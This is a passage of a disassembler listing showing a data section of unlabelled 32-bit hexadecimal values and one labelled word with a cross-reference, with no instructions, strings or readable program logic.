		dd 0C08B1764h, 98C3CECBh, 16BE00B0h, 0FE2DB54Ch, 4B038624h
		dd 0CC37940Ah, 9FADF8C6h, 0A65600A9h, 2082F54Ah, 0EF01548Ch
		dd 0DE1479FAh, 9F6098C7h, 0D4720B3Fh, 28742386h, 0C45BF100h
		dd 7EA7BACh, 0B1B4452Eh, 20BBA30Dh, 71E144D8h, 1C37C30Fh
		dd 78D5A022h, 48C23601h, 0B400A0A0h, 206376C5h,	94C03202h
		dd 8ECF016h, 19653F50h,	0C09BDC00h, 98C93A99h, 7FE4BC00h
		dd 388B84D7h, 532C0009h, 4195E3F1h, 2143A78h, 79E034C1h
		dd 0F7F45C01h, 8DC9E95Ah, 1F19D874h, 4087D0E0h,	94580849h
		dd 0B400DDE6h, 28163B33h, 7AC72702h, 0ECCF004Eh, 0ADA9176Fh
		dd 3E00F547h, 0BB067B1Ah, 9321D1h, 3D494A9Eh, 76628D80h
		dd 14F3972Eh, 0DF1C2700h, 701275A9h, 787D607Bh,	11E0DE53h
		dd 689C48h, 0E3162AFDh,	0EE1F3DDh, 9ACA4131h, 0C1DF39E3h
		dd 6C25AF98h, 324A8801h, 4FC8A056h, 913E303Ch, 58318200h
		dd 0BCCCA14h, 0AE83AF07h, 2CF41FB9h, 3C0C0C80h,	35FD30EFh
		dd 4BDEF548h, 350548h, 9CDB75E9h, 1B1F05Ch, 4913A6E4h
		dd 90D48C16h, 61099561h, 18A0C625h, 72C971DAh, 8C923300h
		dd 2AF3632Bh, 24CC79B1h, 2ABD319h, 1B16AE7Eh, 0B809D4D8h
		dd 1824FB7h, 3E052C78h,	35F0BDFDh, 722100BAh, 689187D7h
		dd 5B38EF49h, 0C29484BFh, 4A86484h, 215D3400h, 6D10A839h
		dd 3064AC4Ch, 0B62F40C0h, 0F372003Bh, 640E0348h, 0F5308971h
		dd 50C621DAh, 165C2C21h, 4CBC1F49h, 0E5483A98h,	34004372h
		dd 2EADDABAh, 7688E88Ch, 0FC370429h, 8740B8EAh,	0C8C1B024h
		dd 20002A35h, 0CC7CBBBh, 8CCE1Fh, 66768160h, 2A30A590h
		dd 0D581A099h, 6E8E5D10h, 544F9C42h, 80073930h,	0A777A22Dh
		dd 0F65F80EBh, 7D00D710h, 0F54E6EEAh, 0F4C464Dh, 4041AE35h
		dd 516BFFA0h, 897EA938h, 0AA6E9400h, 1AB59FD9h,	0EA4B0088h
		dd 3378EC84h, 0CCB84604h, 31EBDF00h, 680FBD02h,	0C0C31D18h
		dd 0B587C091h, 65DCAC7Fh, 0F5939F02h, 0C0F02E9Ch, 79166FCh
		dd 56A34FCh, 0C1405F3Bh, 76D5B797h, 94736C00h, 80DBA12Fh
		dd 0BF1B0F87h, 92C02895h, 0F89ADDD2h, 0F48C5F5Ah, 464F03Ah
		dd 35A23B8Ch, 0F3B98098h, 0B200F144h, 2DE2B4DFh, 13069F17h
		dd 40707303h, 32AF40D8h, 709B85Ch, 60516599h, 8F7148h
		dd 0F74B22D4h, 281976AEh, 0A87C901Dh, 246DED00h, 130A702Ch
		dd 0A662CBh, 0D6A01420h, 0E23D8003h, 0F62B0091h, 2FEA8C4Fh
		dd 5BB900C5h, 0F9607BBCh, 0F81DA941h, 37D604A2h, 7E9B4E0h
		dd 4350738Bh, 0DAD8B0F6h, 324CE0E2h, 3CB50B20h,	9C501694h
		dd 0E8B050C0h, 43FF5906h, 6E08E21h, 6B3C5719h, 0F080C86Ch
		dd 0D0E05570h, 40A5D82Ch, 936D4401h, 0D7DCBC8Eh, 4BF50090h
		dd 5EB1CA82h, 0EB587161h, 0D1C50030h, 0D31B7BFh, 546F167Bh
		dd 2158804Ch, 0A7009DB1h, 0AD87A56h, 703ED530h,	8196000Ch
		dd 1485A535h, 0ED2C6CDDh, 0BE015355h, 0B6CF537Ah, 39AB8085h
		dd 24508C45h, 320F389Ch, 790C8077h, 3D05FE5h, 238150C5h
		dd 0F2F85D12h, 15508611h, 0B9082AC4h, 1D9E05E1h, 0BF9A80D0h
		dd 82561E3Ch, 140F62E0h, 0E071A528h, 3FC87275h,	86B51D1Ch
		dd 2CF1E6Dh, 6F205B23h,	37485DE0h, 767151Eh, 0A3969C43h
		dd 0C40ECDA5h, 81F00989h, 2C5F19E4h, 0E04C006Fh, 79631B05h
		dd 0B897E315h, 6E2403C8h, 0C0EE747Bh, 9A40B985h, 927650h
		dd 0B0384F50h, 0CE978083h, 4BBDDB2Eh, 7E6A7A01h, 0E5425189h
		dd 0BE005D3Bh, 0A6D1F106h, 0AB7C970Eh, 0EEB280EAh, 0EA3D381h
		dd 806A9324h, 0A0E5F6E0h, 3B007CAEh, 0B1A92E3Fh, 9B0A19h
		dd 5F14CA34h, 0CDAB92E5h, 0D4609D1Dh, 0B9733C0h, 25866153h
		dd 0AC600739h, 0AF0001A2h, 8E592CC4h, 3CA5B530h, 0AA839474h
		dd 38072DEFh, 0DF4AFC80h, 0FA1AAD01h, 55D6D85h,	0E8F830h
		dd 18FD8BA5h, 0A9520778h, 2D50A85Dh, 7FF810AAh,	701580A4h
		dd 2978D3FCh, 5E003AB8h, 0EAA38385h, 90E791B7h,	160B205h
		dd 642AD37Dh, 60AF9CCBh, 0B40749EBh, 84777C87h,	1780058Bh
		dd 0FFB8B8D0h, 20AC003Ch, 6FFE0452h, 0B100F410h, 7C16FC75h
		dd 0D8839Dh, 0C3611C22h, 53DFD0A9h, 0BC861D28h,	0DE0CACEEh
		dd 108AE9E8h, 0AAD22D15h, 2CC60862h, 3B6BD100h,	88A0547Fh
		dd 0D72501DDh, 73FABC9Dh, 5F3881A7h, 0A2C4B45h,	369AE0EAh
		dd 44795819h, 2534F301h, 0D8352743h, 840FE9AFh,	0C023ED5Dh
		dd 419B050Bh, 8650C06Dh, 0ACEECA44h, 1FA0CD00h,	26FB7ECFh
		dd 0E61EE29h, 93A17430h, 0A8D8EB40h, 0E10E28D3h, 0CA8F7959h
		dd 0A414E3E0h, 0D6BB00A0h, 1A305622h, 0F1191F49h, 0B2D8C5DDh
		dd 0AC26h, 0C3D483B7h, 657439h,	0C41FC5A9h, 0F6447F4Ch
		dd 0A037132Fh, 0CE6D871Ch, 2830F570h, 1F400084h, 61306271h
		dd 5A04FB3Ah, 5675ED24h, 0CBE254D0h, 424024D8h,	4B064000h
		dd 0C409AA6Ch, 27B695CDh, 82A94298h, 0D46AC770h, 2C3C1C5Ch
		dd 89AA00C9h, 4F83E55h,	0BC524002h, 40B6C45Fh, 75FA1754h
		dd 20754841h, 507FD500h, 10A7F158h, 6EDC43Ah, 741A7693h
		dd 7C230220h, 0E81C0630h, 72E53040h, 1D4D9588h,	0C7F493BCh
		dd 0C0A7DD3Ah, 10138950h, 0B8A4DC04h, 0FC88F598h, 0B00105F2h
		dd 0C0CD75D5h, 2D6B6F4Ch, 0A65D5E0Fh, 7B64C057h, 2EECD069h
		dd 8C6D0Dh, 0BEE6121Fh,	0C0C0D2DBh, 0ACED9882h,	75D0051h
		dd 6C232667h, 0EB2DA908h, 0BDBCC897h, 0A53300BBh, 64ECE999h
		dd 610555FAh, 868FBA89h
		dd 87BC00F3h, 45F30386h, 1D673FF2h, 0EE84602Dh,	8295006Ch
		dd 891FCDC1h, 720024B1h, 867B9180h, 94030BB0h, 0CC00270Ch
		dd 96918DBh, 0BC0D172Eh, 0E528B80Eh, 0B40063CDh, 34362059h
		dd 106563D8h, 0E4C88433h, 0B70931DEh, 0C197EC30h, 0DC3D6A74h
		dd 4D408D00h, 6114397Eh, 0E8709900h, 46A60E0Dh,	9D59C00Ah
		dd 3536273Ah, 0FE4886F5h, 0B00EE48Ah, 39785807h, 9304EC24h
		dd 42892AFh, 0E00214FCh, 5893B6C6h, 729F09F8h, 4841B8DAh
		dd 90DCD743h, 700E8460h, 0D6291B0Fh, 0C5CC01Dh,	0A6CB8Ch
		dd 0BCE9B63Dh, 0FDDC6550h, 40BB398h, 9D2B8Bh, 90FBDA74h
		dd 0DFCA005Ch, 84A7B5F6h, 0C905327Fh, 522FD1A5h, 7516CF4h
		dd 0F6CE672Dh, 3AC3AB7h, 17B1E429h, 7D93D7C0h, 750D5624h
		dd 20371200h, 0AA35A5h,	0A8E2C7EEh, 6A16321Eh, 0E802E35Eh
		dd 70194A9Bh, 0C54FCCCh, 86C67D49h, 9C07D2D1h, 0CBB78BB5h
		dd 0E99693E0h, 81580037h, 0B4805EA3h, 5326E8E1h, 0C800B0BCh
		dd 932EE913h, 418CB6DCh, 38823CADh, 95480968h, 0BE6C207Ch
		dd 0F19626Fh, 0B4F99C77h, 56AA3B20h, 93005C3Fh,	0A3250FC5h
		dd 1D2705CAh, 8EB72079h, 96E08798h, 1B1D6216h, 0B30E0D75h
		dd 7C973A1h, 0E0435F90h, 0B56AE0D0h, 3ACD0042h,	977D5C1Ch
		dd 70008432h, 0AE4B0CDEh, 985326h, 752B92ACh, 47D3565Ch
		dd 6C932300h, 4F142D45h, 709701FDh, 4349F91h, 4806810h
		dd 923EE35Fh, 0F4E51F80h, 0CB790794h, 77B357C3h, 9F54E167h
		dd 30D9D428h, 2A480A0Eh, 0E2F0673Bh, 94B81A03h,	0D401A0A8h
		dd 54724943h, 0E8A4300Eh, 6F0B5C00h, 2B83D7E1h,	0B7A7FC6h
		dd 71F9E0E2h, 90565880h, 5EE89C61h, 40AB6524h, 7D44901h
		dd 19E8D073h, 92B000A4h, 0E3EBBF5Dh, 3E00EF44h,	0B3D8651Ah
		dd 1CB4EDh, 7B8C9573h, 6859AA60h, 0C0FC839Fh, 74F935Bh
		dd 0D7DE1388h, 0CC363024h, 0F2004EFFh, 8E199737h, 9D3F708h
		dd 0C054D1A4h, 5E754C80h, 905CCBFFh, 0E069336Ch, 1948D00Dh
		dd 27521344h, 0F6CCE06Fh, 0C2D06C00h, 8CC9FD92h, 9BF400BBh
		dd 0E7F98BEDh, 3712E448h, 0F0409C01h, 0F5ADC1ACh, 61030038h
		dd 15FF092Eh, 3000D722h, 1FA4D427h, 1371AAF6h, 952B8Ch
		dd 1549BC98h, 0A99713A5h, 0E4CD22Ch, 0E904FED4h, 84266620h
		dd 0D119FF46h, 0BC10EA7Ah, 0F0F3B1E1h, 9AA26168h, 7E1E2504h
		dd 81007C0Fh, 770C056Bh, 7AED08C0h, 580AE78Ah, 0BD00725Fh
		dd 0F0317624h, 7700AF81h, 0A4479FBBh, 0DDA385h,	22E30E4Fh
		dd 29D8548Fh, 84BE3Ch, 0A46B30D4h, 17106292h, 0F1F436h
		dd 7A25B89h, 99C09B9Eh,	0E920E3F8h, 0E01308Dh, 0BADB2B21h
		dd 0A6073A03h, 86CDC69Bh, 0A3ECA8h, 6EF02F73h, 0E522F8CCh
		dd 68005D7Ch, 0D3AB6081h, 167495E4h, 1FAAB819h,	2E1F80D1h
		dd 231C02E9h, 2B76D507h, 0E681218Bh, 69C45DE7h,	8AD00E2Ch
		dd 90403EA9h, 993A849Ch, 0C58D7F00h, 0BE3B755Ah, 59F00009h
		dd 0BDE8FDE7h, 747511A5h, 7CB4AC01h, 2F82DAEEh,	1E831D20h
		dd 407805C3h, 6DBDBA56h, 86006111h, 0CA73188Bh,	0F07F3968h
		dd 0AE830E85h, 0F7601416h, 9D91B7D5h, 416CCEA1h, 0E825EAC8h
		dd 0DA4841F1h, 0A899012Fh, 0C829F15h, 20FAE0h, 0F8F0905Fh
		dd 89EAB627h, 0ECA8FBFAh, 0DE00A0FCh, 4DEC1C30h, 0BB4964h
		dd 5877694Fh, 0E21F02C0h, 44FEF124h, 0D607D03h,	0ECE5FFF6h
		dd 4790BC01h, 37F4FCEFh, 20E8009Fh, 0E2FB3D0Fh,	973A09E5h
		dd 0EAE075FFh, 81B9C63Bh, 0F979FE13h, 81BEF21Dh, 0A1081B30h
		dd 0ED00918Bh, 98381494h, 0E1C26D3h, 88975F1h, 548471A0h
		dd 9F0FE110h, 80CC1B0Dh, 5E6927F9h, 47B90240h, 8FC29909h
		dd 0E2DBF85h
		db 0DEh, 0EAh
word_505446	dw 226Bh		; DATA XREF: ___:off_4374B8o
		dd 69E89868h, 8193361Ch, 0E0A88F27h, 7B4890AAh,	0AFAD1C34h
		dd 0C2C70CF1h, 0A1DD931h, 450077CBh, 0D6AF57D5h, 8F1F0304h
		dd 0ACC68C2Bh, 0CE542900h, 26C50641h, 0C270079Ch, 70CC8187h
		dd 0E2663834h, 6B3AB07h, 925089FCh, 1C29CFDFh, 81096569h
		dd 5972BDA3h, 4FF0F81Eh, 54219300h, 0DA6D1B30h,	36FD06B7h
		dd 41FE3769h, 2167031Dh, 0F3D5A1Eh, 0A392E36Dh,	0F33E614Ah
		dd 0D7183C36h, 58136C1Fh, 31891014h, 932B2C00h,	0DC434F9Bh
		dd 423E0041h, 1D71DF22h, 0CB0F33C2h, 0FAB8A75h,	0E16A4083h
		dd 6C8357Dh, 0B8A0A12Bh, 40F0815Ch, 14CE4100h, 0D878D7Dh
		dd 0C286008Bh, 77C59A4Eh, 711820B0h, 3F3101B8h,	0B2991CE4h
		dd 0A002C057h, 9AC40E88h, 8903F172h, 0E14EC773h, 0B750014Ah
		dd 408390D3h, 66D08150h, 5BFCC01h, 3130E0F5h, 0C2D1C074h
		dd 0C52BBBFAh, 4052461Dh, 71E57A80h, 18094C50h,	1124A267h
		dd 6843A072h, 3E9C4002h, 3D206B37h, 0C1A64309h,	0C5850241h
		dd 0F8045952h, 10D3C7BAh, 0E24CC71Fh, 2521D0h, 661D64Eh
		dd 0FDE63AF1h, 223B093Ah, 0B6900075h, 0A69BC7DBh, 25FA8938h
		dd 39DA5906h, 776116BDh, 50C40072h, 0C9712E7Ch,	70748EC7h
		dd 5B216961h, 7CC0C451h, 0EB64043Ah, 8014E60Ah,	57227F10h
		dd 58A08A70h, 0E4827E5h, 0EA440010h, 86FB9331h,	870C005Dh
		dd 0CD9FD1E8h, 81606602h, 0FD47B831h, 0EF40C301h, 187484E3h
		dd 0BFF99400h, 0D0CB05F8h, 0BDBE023Eh, 0C431E2F7h, 0DCD88CA3h
		dd 0CCF431C6h, 0C3BF0414h, 7AB200E2h, 3234387Bh, 0E6277445h
		dd 473B068Dh, 41626D51h, 7B2E507h, 6E90DCE2h, 0CC5B44D0h
		dd 8217908h, 5707C824h,	569D9700h, 711876h, 5BE843Bh, 0E2A198E5h
		dd 0B4B852h, 0F172B59Eh, 46B423h, 55A93132h, 0FD965EDEh
		dd 507AA9C0h, 3BE387CAh, 0C9601509h, 58DA1980h,	0F004A4A2h
		dd 0D64B6064h, 0B906105Eh, 0BF22C83Ch, 50D65383h, 83F70CD1h
		dd 0C4CBCAC7h, 0DD9440B5h, 0B7E84DE2h, 0E838482Ah, 0C7E3B200h
		dd 0CC7D7534h, 5D7601A9h, 0F04D3032h, 0C3EBF47Fh, 6641DD62h
		dd 0E298905Bh, 0E7C20157h, 0BF48E3ECh, 8DDCFD49h, 9138806Ch
		dd 31847AE5h, 0F061964Ah, 0A6EEDE87h, 0DDAFC103h, 0A316A55Eh
		dd 8AF81024h, 0AA428457h, 54D64D30h, 7CF00668h,	45072191h
		dd 1030DBB5h, 0E261AE0Fh, 0A1A06C02h, 0A471BCAFh, 748B5CB8h
		dd 5CC17FC8h, 9ACCB992h, 0E7620581h, 88F938Ah, 618A71A0h
		dd 8308EC33h, 0B4E58C76h, 0EA00C099h, 2B3F110Eh, 0B810B728h
		dd 0E5250082h, 0DC4EA694h, 8036FCFBh, 46F83153h, 0D64C0237h
		dd 0B1A10633h, 3E1079F8h, 2B00DBB4h, 147525CFh,	0CA76B8Fh
		dd 18BCDE3Ah, 32070BA1h, 5D685817h, 0E70FE0C1h,	60E56024h
		dd 619549B1h, 0FCF76D08h, 40012753h, 6664B358h,	0BC014742h
		dd 0DB51808Fh, 1ACE4F81h, 0A740009Eh, 5E2CFF96h, 8A406E9Bh
		dd 0B7850A44h, 8388E5F0h, 0AD22DEA2h, 15E9E1D8h, 8917D33h
		dd 0C021009Ah, 0C63B2236h, 9704130Fh, 85302E70h, 0DC084094h
		dd 0C45AC074h, 0A6217C4Dh, 38869170h, 1FC38392h, 0A95B06A7h
		dd 836A3AD4h, 30C95CA5h, 0B2599C35h, 7693EC47h,	0DA44E700h
		dd 249702F1h, 25CD4E75h, 0F7002866h, 3C15E6B5h,	389FED94h
		dd 88065C8h, 3B2477F6h,	5B05DCC7h, 6209E912h, 0F5E9842h
		dd 600F0901h, 84206389h, 1A69D425h, 56D3A02Ch, 817E7100h
		dd 0E089EBF2h, 0F7B509D6h, 0A011A37Ch, 9B0310C8h, 0EE3A04F3h
		dd 0C270767Bh, 0AC304B60h, 0DCE81107h, 807788D2h, 0DE07CA06h
		dd 0E326A16Ah, 71409C38h, 907DD24Ch, 56D84C30h,	0B2001C52h
		dd 0D46DE84Bh, 34B18334h, 0B2187679h, 96A90F00h, 5325713Ch
		dd 3C5050D2h, 60D40F6Ch, 0A41EF306h, 0B81A4044h, 1400AC56h
		dd 1B9CFCAFh, 2616C613h, 88F81FBEh, 250451EAh, 6E40E7EFh
		dd 687D6705h, 472CD700h, 46BA726h, 0FAECA09Dh, 0EC560F6Ch
		dd 0DC005D34h, 20D9FC80h, 0A4E51B24h, 536E840h,	57E600A4h
		dd 83560F86h, 0DF00153Bh, 0C0B5ADD8h, 268AC1C5h, 96D48D69h
		dd 5C5420BCh, 9D00D822h, 94AD177Fh, 512D69h, 0C6882F7h
		dd 8086C048h, 7A466492h, 4BC43402h, 0B4C7367Ch,	894CB409h
		dd 5CB58050h, 4D6427Eh,	0A8A7E063h, 8E0855Bh, 3CC1B5B4h
		dd 91EDBF22h, 0C2889E18h, 8C221D74h, 94B58236h,	0AE80B26Ch
		dd 21482ED4h, 547F8E29h, 12188A79h, 21B6CD01h, 0B7DA8BAh
		dd 5AE78D0h, 0D522459h,	799C82DAh, 5D666221h, 0A40424h
		dd 0B3E77DA1h, 27102436h, 0ECE30C1Dh, 665C5383h, 0A529005Eh
		dd 91C37C71h, 0F1071AC8h, 0D9ECCBEBh, 0E55EA430h, 0C0CDECB7h
		dd 790B9BE9h, 300759Eh,	0ED8134Fh, 1760A957h, 2AD4D1Ch
		dd 0F0704840h, 8611789Dh, 63740493h, 5E89477Eh,	30818B66h
		dd 1319B3E5h, 2900FD92h, 0E2E4760Eh, 1C4EA1E7h,	0B577A9h
		dd 0DB9F9C86h, 5329852Eh, 0E287E4EFh, 41B4A922h, 0BC207962h
		dd 726227Ah, 0C8811FAh,	0F5AB4044h, 13546639h, 1F00F098h
		dd 4DFBEB08h, 756D15BAh, 97510359h, 69B29068h, 0EC4162D2h
		dd 42A1861h, 51065DD6h,	277B323Bh, 74D63044h, 3800370Ch
		dd 499E18D0h, 493050D9h, 784974BDh, 45941424h, 0BA9C4021h
		dd 0F0EF0CF5h, 0B83A2626h, 9D76D200h, 9E904CDh,	1B744A94h
		dd 0FD8D9818h, 0F7C57D39h, 0D608899h, 148F54D3h, 0BC8AD98Bh
		dd 0BB80BA88h, 4C28A74Eh, 628E00E8h, 843A74CDh,	3506CE32h
		dd 6721F4A5h, 0CF520299h, 692A59C4h, 197984C0h,	164474EDh
		dd 67005491h, 58459C65h, 4D4E0349h, 1DF98315h, 2BF2297Dh
		dd 0FA7A5300h, 0C60B2E45h, 0C240271h, 227C0FC4h, 79C96C20h
		dd 588E802h, 100A4FD4h,	1E048068h, 0C9C0FADCh, 40D7730Eh
		dd 0F4824CC0h, 0AF005023h, 6ADCDF07h, 76458686h, 6CC8C5F9h
		dd 46ED39DDh, 0C306FA85h, 748C4350h, 40BB62B4h,	286EB2E0h
		dd 0C1F42707h, 81F34B71h, 0B82900EDh, 83C65B96h, 7D0A75CDh
		dd 0EC55B59Ch, 248B608h, 83F2ADFAh, 0B9E1440h, 0C7003AECh
		dd 506DE9E0h, 16674A0Ch, 1C11944Fh, 70E58671h, 4D010856h
		dd 0B46EC666h, 30BAE94Fh, 14628018h, 0D970E224h, 96633300h
		dd 8C5DE11Ah, 0BD5901C7h, 736BBC56h, 0A5108389h, 8F5E0DB2h
		dd 0FAB80150h, 8480181Ah, 4FE79009h, 3C55A90Bh,	0D45C8023h
		dd 6BDC85h, 4E526E84h, 0E647BDE3h, 8FAC2CF1h, 0E58E4041h
		dd 3AE1486Eh, 0DE3D8128h, 5D616781h, 0F0327842h, 25F8623Ch
		dd 27763E01h, 4677F35Ah, 0E886FDE0h, 0F710C031h, 726DAB93h
		dd 69E85C18h, 4260ACh, 6624EA2Eh, 0D0E5D961h, 598F4303h
		dd 0C0E127D4h, 694F180h, 0E0EC6255h, 0E9030805h, 0CEF75D24h
		dd 0CF49E042h, 0C57DE5h, 7A5E3FDEh, 9D683E59h, 43D64AAh
		dd 0F6EFE177h, 51080ADh, 75FBF9A2h, 97FA0086h, 1879217Dh
		dd 84310A85h, 0B1AC18FEh, 135EB870h, 0CE7DDE9Bh, 0C079C878h
		dd 0D2580569h, 46275E00h, 26AB70EEh, 9F130BF8h,	1A80C780h
		dd 47D4D50Ch, 8B20C200h, 0FDC58676h, 828E165h, 23102F5Ah
		dd 485A0276h, 707AEEE5h, 17232F00h, 0D25DCBEFh,	0EAD800CEh
		dd 33958728h, 75026425h, 0B807FAE8h, 5D888026h,	61864832h
		dd 81FDA8BFh, 6618387h,	0EA0DD90h, 0D59FE3C1h, 24A7AFAEh
		dd 0B2EBD452h, 3080E238h, 0DD27B46Bh, 0E54CA56Fh, 0EE00D85Eh
		dd 8A2C954Eh, 84ECAFh, 0B8B9CADEh, 6BA50B32h, 8998380Ch
		dd 0AA790E9h
		dd 0F9140A4Fh, 0A01727E4h, 19807991h, 0EE117C25h, 0E865C38h
		dd 6A9AFCE5h, 0DE968C83h, 0AB9488h, 0E1CFF704h,	8BEB3D7Ah
		dd 0FD0658B4h, 18C19A80h, 3173FAB8h, 0A0409DFh,	868BC721h
		dd 2894F5h, 8C11BCh, 1522CE06h,	3378D71Bh, 0F408625Eh
		dd 0C481CF3Fh, 187E7C4Eh, 4B55886Ch, 7AB2C400h,	7E519182h
		dd 8869526Fh, 39926C00h, 0C92D2E7Ch, 9CE65B00h,	4B7EA583h
		dd 0A68C004Ah, 6D12EC23h, 349272DCh, 49B8620Ch,	0B0F6115h
		dd 86C9367Ch, 0A454C040h, 0A7254D3Fh, 0D6AC264Ah, 2D852D09h
		dd 8195B8A0h, 8A7048A8h, 68028C7Dh, 0A9988470h,	7DF48074h
		dd 0C0451181h, 5BE59320h, 0F81F84D3h, 0C7413137h, 14A13F1h
		dd 59857884h, 6EE0808Fh, 0AE516008h, 0CCB841E4h, 66C40016h
		dd 45EC3DE9h, 909EC8D5h, 202A9AF7h, 4670C47Bh, 78C864A1h
		dd 0E71CD8B6h, 0A3B2223Dh, 0BBC43909h, 0E1223F12h, 502DA505h
		dd 198F8841h, 0D0921136h, 6AFC070Ch, 98C8C492h,	0D6084FB4h
		dd 0C4590632h, 0B747407Fh, 79180DBh, 0AE303A5h,	744CCB12h
		dd 0EFBFE91Ch, 0F76CE2C0h, 14A8D3Ch, 0DCC46561h, 549D3032h
		dd 0DAEC04C0h, 44930A63h, 764656h, 198C264Bh, 70E79269h
		dd 0B1BF1285h, 8D88214Dh, 8BE0C6Ch, 42DC3607h, 44310C4h
		dd 4DF00764h, 9D07164Eh, 0E52AF113h, 3BB8C429h,	0EE83CC47h
		dd 0FEBC8318h, 0E5AF101h, 95441EF7h, 526ED8h, 66629289h
		dd 75D87086h, 1078094Ch, 7124E351h, 0B1E907F0h,	1EF6707Dh
		dd 0FA09EC63h, 0A1CE117Fh, 965E7510h, 623C1469h, 6D025300h
		dd 0CEDC4DE2h, 47FA19C0h, 1C59E563h, 0C291E8D5h, 0E67C246Fh
		dd 5746FCD8h, 3C07A802h, 1131B2DCh, 7CBA210h, 673C2F00h
		dd 2182393Dh, 6D7907EDh, 405CC27Eh, 0E2F91996h,	4C888948h
		dd 402C3F6Ch, 2231787Ah, 92798FF4h, 89DAC0C8h, 7898CDE3h
		dd 1CEC3EFEh, 0E6DF6003h, 1052AC03h, 86929BF0h,	997466h
		dd 0AC2BB6B9h, 91C8D72Ch, 0DB9FFC00h, 543C290Ch, 0A761094Bh
		dd 453836Ah, 0E250D558h, 4D1E00AAh, 0CE79E9EAh,	0CB280FDCh
		dd 0A509C489h, 342B019h, 302BCE0h, 60AAF4C1h, 74D017C6h
		dd 35019618h, 0DE992DBFh, 220FA33h, 835C0CD8h, 0E548CFB1h
		dd 5179B767h, 0B0C18F90h, 0D16F1D84h, 0AE9D71h,	0E33DAB5Eh
		dd 0F9CFC9FDh, 0E179A025h, 91861ADCh, 1875D1D4h, 65B00211h
		dd 0BCC43C51h, 0FB03A864h, 5D61607Bh, 2590C0A1h, 74C90CEh
		dd 0B8AC8183h, 8B93057Fh, 0C076C8C0h, 4D74CF99h, 45830D25h
		dd 6075C450h, 0FC826F5h, 0CAA22DDCh, 0F0908269h, 561262DAh
		dd 0C8B22C6Eh, 603277F2h, 95E58C43h, 0E7CFBCA0h, 36001FBBh
		dd 92DB4FFh, 2D4F8F1Bh,	0F4970D45h, 2C806C91h, 0CD88E1E5h
		dd 44E38F13h, 0EA10F83Ah, 0BBBFC051h, 1CBD7E5h,	0D2B8485Eh
		dd 326F4D90h, 58CD2C98h, 190374Bh, 0B99825C4h, 64518497h
		dd 0C0C003AEh, 249B5C3Dh, 258B821h, 7BED954Fh, 30E40E61h
		dd 870504ACh, 400B7173h, 838034DBh, 0F8D7E44Bh,	82183300h
		dd 84F4D832h, 80E95471h, 7AFD1A75h, 40B7B115h, 45AF6780h
		dd 632668FCh, 0B535D862h, 2FE73AA8h, 0EAC33E01h, 8CE5175Eh
		dd 0DFC13980h, 44E91F31h, 3D348F00h, 7AAAA8B5h,	6B7E0127h
		dd 4C4014B4h, 525AD0B8h, 0CA4D530Ah, 0A20120E2h, 3D193A4Ah
		dd 165580D0h, 8772436h,	0E1C1B8D8h, 99EDB022h, 0C1889518h
		dd 0A9220039h, 0DCAF743Eh, 98140599h, 2CD4E5EDh, 0FD031879h
		dd 968E1116h, 0F15E18D9h, 0E56241FFh, 0FC092402h, 0C157CED0h
		dd 0B5C82520h, 0F8942561h, 4124E027h, 40ACD4D8h, 9D3872F3h
		dd 5A76F607h, 52C025C1h, 9758F5DEh, 1283F4B5h, 0E395756Ch
		dd 7187D857h, 94289980h, 0D00A8E5h, 70B76EDEh, 1624D90Bh
		dd 5B120056h, 3AB0B8E6h, 0C12CF9ACh, 0A20FDD47h, 0D401D389h
		dd 796B0FE0h, 0B817E2A5h, 26817691h, 720D37E3h,	44863A6Ch
		dd 6E80005Ch, 9304BBA4h, 5400CE1Ah, 0EFF1B558h,	0FEFA8DCCh
		dd 8B5A4B80h, 0CE6E8844h, 411ECD0Eh, 0EBD68C5Dh, 84902358h
		dd 602620Bh, 0A4E95FE0h, 38002F82h, 0B5DE2A22h,	937F27F7h
		dd 24BCAC48h, 0D0C369C0h, 6F6A64h, 95395363h, 111F3654h
		dd 19A63A02h, 40DC4F85h, 28A56D60h, 98A88F5Dh, 8BC9168h
		dd 0C9606C92h, 5CDC3D07h, 5E0285Ah, 61000737h, 866F233Fh
		dd 1350EEF4h, 0A4985EDBh, 0FA1905FCh, 0F5686771h, 75444FAh
		dd 786CEA02h, 0EFDAD02Ah, 510CB292h, 0E0DB60A4h, 60AF4568h
		dd 0D091378Ch, 5DB008B1h, 0C884D421h, 1176C0Dh,	7AEF97E0h
		dd 0D02318D9h, 90338BA2h, 2721DE3Bh, 64107B02h,	0E8418BF8h
		dd 48E07C31h, 0F476F324h, 8C737050h, 2AC45F04h,	1CAC5E7Ch
		dd 0C457B1B0h, 9F8F743Ah, 7E380BE2h, 0D207F818h, 4E65FD58h
		dd 0A79CCC76h, 0C020CF4Ah, 0D7AC71h, 510B9E5Bh,	0BA1F06B0h
		dd 4304EB01h, 0E8D99ADEh, 6F16D980h, 0D7ADFA25h, 40682400h
		dd 57E953FEh, 0FD20C573h, 2CECC284h, 4451C46Ah,	0E6187479h
		dd 0D0041E4h, 259869D7h, 448E197Eh, 2B4AF85Eh, 69A78C00h
		dd 7EFCCCC2h, 5E689C75h, 602E0B46h, 95090066h, 4F06AEC3h
		dd 842E404Ah, 0E5000B23h, 10F50C96h, 726303BAh,	863AF10Ah
		dd 0B7D2D903h, 0C4FCD546h, 0C4C040F8h, 0D94CF169h, 5B2BB802h
		dd 402534BCh, 14FAE750h, 0D4CDEAB6h, 0D50531C0h, 0B0756481h
		dd 0A607100h, 9B0245F2h, 754D0FE2h, 0D2C62A3Fh,	0F96470AAh
		dd 0FCC8EF39h, 476705B4h, 0CE2E0233h, 52118438h, 46DEF530h
		dd 0C2FB7802h, 4463A83Ch, 376C04F8h, 40C76D62h,	5DD5E728h
		dd 50200954h, 0BC224DDFh, 5C4846E2h, 0E6046CFDh, 3D5ED5FAh
		dd 95D944B5h, 0FEB102F7h, 579E482Eh, 3691745Eh,	4FC43880h
		dd 8C91567Ch, 0C45058C1h, 0CE84E0C2h, 88C0F5E8h, 3511EE35h
		dd 0F010FF1Eh, 0DD0486ECh, 0CB6301F5h, 68CD14CDh, 0B82CE869h
		dd 0F0025BECh, 0B11EE516h, 56E4CA72h, 76465CB8h, 46EDDE1Fh
		dd 0E8799BF8h, 0C267DF04h, 4F41644h, 0AB048C4Ch, 0CADCE307h
		dd 6209A338h, 807FC807h, 0D42A74BEh, 5C663709h,	3C471321h
		dd 0AB827080h, 0F3F4BA16h, 0C6FD1C08h, 1097F9BCh, 2FF9BA8h
		dd 25C91BAAh, 1CCA98A7h, 19809839h, 2A0820A0h, 74F04DE3h
		dd 0DE692E25h, 0FB4AC4Ch, 0D0121949h, 0FBEFDC84h, 9062B740h
